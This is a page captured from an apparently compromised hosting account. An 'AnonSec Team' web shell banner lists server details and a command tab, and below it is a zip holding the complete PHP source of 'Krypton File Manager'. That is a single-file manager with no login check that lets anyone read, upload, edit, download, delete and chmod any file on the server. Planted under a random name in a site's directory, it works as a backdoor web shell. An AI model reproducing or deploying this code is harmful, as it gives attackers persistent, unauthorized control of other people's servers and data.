AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/q1lopj.zip
PK�Cm\�d��o�o�9gvid-20260307170338.phpnu�[���<?php
/**
 * Krypton File Manager
 * A single-file PHP file manager with full server access and enhanced features
 */

// Start session
session_start();

// Configuration
define('VERSION', '1.0.0');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB max upload size
define('ENCRYPTION_KEY', 'RCnFfs06w3ItXaCn7BWvyyFE1Rxdmz'); // Change this to a random string for security
define('SESSION_TIMEOUT', 1800); // 30 minutes session timeout

// Check if encryption key is default and show warning
$encryptionKeyWarning = '';
if (ENCRYPTION_KEY === 'change_this_to_a_random_string') {
    $encryptionKeyWarning = 'Warning: Default encryption key is being used. Please change it for security.';
}

// Session timeout check
if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > SESSION_TIMEOUT)) {
    // Session expired
    session_unset();
    session_destroy();
}
$_SESSION['last_activity'] = time(); // Update last activity time

// Encryption and decryption functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . '::' . base64_encode($iv));
}

function decryptPath($encryptedPath) {
    try {
        $decoded = base64_decode($encryptedPath);
        if ($decoded === false) {
            return getcwd(); // Default to current directory if decoding fails
        }
        
        if (strpos($decoded, '::') === false) {
            return getcwd(); // Default to current directory if separator not found
        }
        
        list($encrypted_data, $iv_b64) = explode('::', $decoded, 2);
        $iv = base64_decode($iv_b64);
        
        if ($iv === false || strlen($iv) !== 16) {
            return getcwd(); // Default to current directory if IV is invalid
        }
        
        $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv);
        
        if ($decrypted === false) {
            return getcwd(); // Default to current directory if decryption fails
        }
        
        return $decrypted;
    } catch (Exception $e) {
        return getcwd(); // Default to current directory on any exception
    }
}

// Function to get human-readable file size
function formatFileSize($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// Function to get file permissions in Unix format
function getFilePermissions($file) {
    $perms = fileperms($file);
    
    if (($perms & 0xC000) == 0xC000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xA000) == 0xA000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ?
                (($perms & 0x0800) ? 's' : 'x' ) :
                (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ?
                (($perms & 0x0400) ? 's' : 'x' ) :
                (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ?
                (($perms & 0x0200) ? 't' : 'x' ) :
                (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Function to get file extension
function getFileExtension($filename) {
    return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}

// Function to check if a file is editable
function isEditableFile($filename) {
    /*
    $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess'];
    $extension = getFileExtension($filename);
    return in_array($extension, $editableExtensions);
    */
    return true;
}

// Process actions
$error = '';
$success = '';

// Get and decrypt the path parameter
$currentPath = getcwd(); // Default path

// Check if there's a current path in the session
if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) {
    $currentPath = $_SESSION['current_path'];
}

// Handle POST request for navigation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Store current path for form submissions
    if (isset($_POST['current_path'])) {
        $decryptedCurrentPath = decryptPath($_POST['current_path']);
        if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) {
            $currentPath = $decryptedCurrentPath;
            $_SESSION['current_path'] = $currentPath;
        }
    }
    
    if (isset($_POST['action'])) {
        // Handle file content request for editing
        if ($_POST['action'] === 'getContent' && isset($_POST['path'])) {
            $filePath = decryptPath($_POST['path']);
            if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) {
                echo file_get_contents($filePath);
                exit;
            } else {
                echo "Error: Cannot read file.";
                exit;
            }
        }
        
        // Handle navigation
        if ($_POST['action'] === 'navigate' && isset($_POST['path'])) {
            $decryptedPath = decryptPath($_POST['path']);
            if (file_exists($decryptedPath) && is_dir($decryptedPath)) {
                $currentPath = $decryptedPath;
                $_SESSION['current_path'] = $currentPath;
            }
        }
        
        // Handle file download
        if ($_POST['action'] === 'download' && isset($_POST['path'])) {
            $downloadPath = decryptPath($_POST['path']);
            
            if (file_exists($downloadPath) && !is_dir($downloadPath)) {
                // Set headers for file download
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"');
                header('Content-Transfer-Encoding: binary');
                header('Expires: 0');
                header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                header('Pragma: public');
                header('Content-Length: ' . filesize($downloadPath));
                ob_clean();
                flush();
                readfile($downloadPath);
                exit;
            }
        }
    }
    
    // Handle file upload
    if (isset($_POST['upload'])) {
        if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
            $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']);
            
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) {
                $success = 'File uploaded successfully.';
            } else {
                $error = 'Failed to upload file.';
            }
        } else {
            $error = 'No file selected or upload error.';
        }
    }
    
    // Handle file/directory deletion
    if (isset($_POST['delete']) && isset($_POST['path'])) {
        $deletePath = decryptPath($_POST['path']);
        
        if (file_exists($deletePath)) {
            if (is_dir($deletePath)) {
                // Try to remove directory
                if (rmdir($deletePath)) {
                    $success = 'Directory deleted successfully.';
                } else {
                    $error = 'Failed to delete directory. It may not be empty.';
                }
            } else {
                // Remove file
                if (unlink($deletePath)) {
                    $success = 'File deleted successfully.';
                } else {
                    $error = 'Failed to delete file.';
                }
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file/directory rename
    if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = decryptPath($_POST['oldPath']);
        $newName = $_POST['newName'];
        $dirName = dirname($oldPath);
        $newPath = $dirName . '/' . $newName;
        
        if (file_exists($oldPath)) {
            if (rename($oldPath, $newPath)) {
                $success = 'Renamed successfully.';
            } else {
                $error = 'Failed to rename.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle permission change
    if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) {
        $permPath = decryptPath($_POST['permPath']);
        $permissions = $_POST['permissions'];
        
        // Convert from octal string to integer
        $mode = octdec($permissions);
        
        if (file_exists($permPath)) {
            if (chmod($permPath, $mode)) {
                $success = 'Permissions changed successfully.';
            } else {
                $error = 'Failed to change permissions.';
            }
        } else {
            $error = 'File or directory does not exist.';
        }
    }
    
    // Handle file edit
    if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) {
        $filePath = decryptPath($_POST['filePath']);
        $fileContent = $_POST['fileContent'];
        
        if (file_exists($filePath) && !is_dir($filePath)) {
            if (file_put_contents($filePath, $fileContent) !== false) {
                $success = 'File saved successfully.';
            } else {
                $error = 'Failed to save file.';
            }
        } else {
            $error = 'File does not exist.';
        }
    }
    
    // Handle create new file
    if (isset($_POST['createFile']) && isset($_POST['newFileName'])) {
        $newFileName = $_POST['newFileName'];
        $newFilePath = $currentPath . '/' . $newFileName;
        
        if (!file_exists($newFilePath)) {
            if (file_put_contents($newFilePath, '') !== false) {
                $success = 'File created successfully.';
            } else {
                $error = 'Failed to create file.';
            }
        } else {
            $error = 'File already exists.';
        }
    }
    
    // Handle create new folder
    if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) {
        $newFolderName = $_POST['newFolderName'];
        $newFolderPath = $currentPath . '/' . $newFolderName;
        
        if (!file_exists($newFolderPath)) {
            if (mkdir($newFolderPath, 0755)) {
                $success = 'Folder created successfully.';
            } else {
                $error = 'Failed to create folder.';
            }
        } else {
            $error = 'Folder already exists.';
        }
    }
}

// Save current path to session
$_SESSION['current_path'] = $currentPath;

// Get directory contents
$items = [];
if (is_dir($currentPath)) {
    if ($handle = opendir($currentPath)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $fullPath = $currentPath . '/' . $entry;
                $isDir = is_dir($fullPath);
                
                try {
                    $size = $isDir ? '-' : formatFileSize(filesize($fullPath));
                    $permissions = getFilePermissions($fullPath);
                    $lastModified = date('Y-m-d H:i:s', filemtime($fullPath));
                    
                    $items[] = [
                        'name' => $entry,
                        'path' => $fullPath,
                        'encryptedPath' => encryptPath($fullPath),
                        'isDirectory' => $isDir,
                        'size' => $size,
                        'permissions' => $permissions,
                        'lastModified' => $lastModified,
                        'isEditable' => !$isDir && isEditableFile($entry)
                    ];
                } catch (Exception $e) {
                    // Skip files that can't be accessed
                    continue;
                }
            }
        }
        closedir($handle);
    }
}

// Sort items: directories first, then files
usort($items, function($a, $b) {
    if ($a['isDirectory'] && !$b['isDirectory']) {
        return -1;
    }
    if (!$a['isDirectory'] && $b['isDirectory']) {
        return 1;
    }
    return strcasecmp($a['name'], $b['name']);
});

// Get breadcrumb parts
$breadcrumbs = [];
$pathParts = explode('/', $currentPath);
$buildPath = '';

foreach ($pathParts as $part) {
    if (empty($part)) {
        $buildPath = '/';
        $breadcrumbs[] = [
            'name' => 'Root',
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    } else {
        $buildPath .= ($buildPath === '/') ? $part : '/' . $part;
        $breadcrumbs[] = [
            'name' => $part,
            'path' => $buildPath,
            'encryptedPath' => encryptPath($buildPath)
        ];
    }
}

// Get the script's directory for the Home button
$homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']);
$encryptedHomeDirectory = encryptPath($homeDirectory);

// Encrypt current path for forms
$encryptedCurrentPath = encryptPath($currentPath);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Krypton File Manager</title>
    <style>
        /* Base styles and reset */
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif;
        }
        
        body {
            background-image: url('https://w.wallhaven.cc/full/ex/wallhaven-exd3w8.png');
            background-size: cover;
            background-position: center;
            background-repeat: no-repeat;
            background-color: #f9f9f9;
            /* Fallback color */
            color: #333333;
            line-height: 1.6;
        }

        .container {
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 20px;
        }
        
        /* Navigation bar */
        .navbar {
            background-color: #ffffff;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 15px 0;
            position: sticky;
            top: 0;
            z-index: 100;
        }
        
        .navbar-content {
            display: flex;
            align-items: center;
            justify-content: space-between;
        }
        
        .navbar h1 {
            color: #333333;
            font-size: 1.5rem;
            font-weight: 500;
        }
        
        .version {
            font-size: 0.8rem;
            color: #777;
            margin-left: 10px;
        }
        
        .navbar-actions {
            display: flex;
            gap: 10px;
        }
        
        .home-btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 8px 15px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            text-decoration: none;
            display: inline-flex;
            align-items: center;
            transition: all 0.2s ease;
        }
        
        .home-btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .home-icon {
            margin-right: 5px;
        }
        
        /* Breadcrumb navigation */
        .breadcrumb {
            display: flex;
            align-items: center;
            padding: 12px 0;
            margin-bottom: 15px;
            overflow-x: auto;
            white-space: nowrap;
        }
        
        .breadcrumb-item {
            display: flex;
            align-items: center;
        }
        
        .breadcrumb-item a {
            color: #4a6cf7;
            text-decoration: none;
            padding: 5px 8px;
            border-radius: 4px;
            transition: background-color 0.2s;
            cursor: pointer;
        }
        
        .breadcrumb-item a:hover {
            background-color: rgba(74, 108, 247, 0.1);
        }
        
        .breadcrumb-separator {
            margin: 0 5px;
            color: #999;
        }
        
        .breadcrumb-current {
            font-weight: 500;
            padding: 5px 8px;
        }
        
        /* Section styling */
        .section {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 8px;
            box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05);
            padding: 20px;
            margin-bottom: 20px;
            box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px;
        }
        
        .section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
        }
        
        .section-title {
            font-size: 1.1rem;
            color: #333333;
            font-weight: 500;
        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
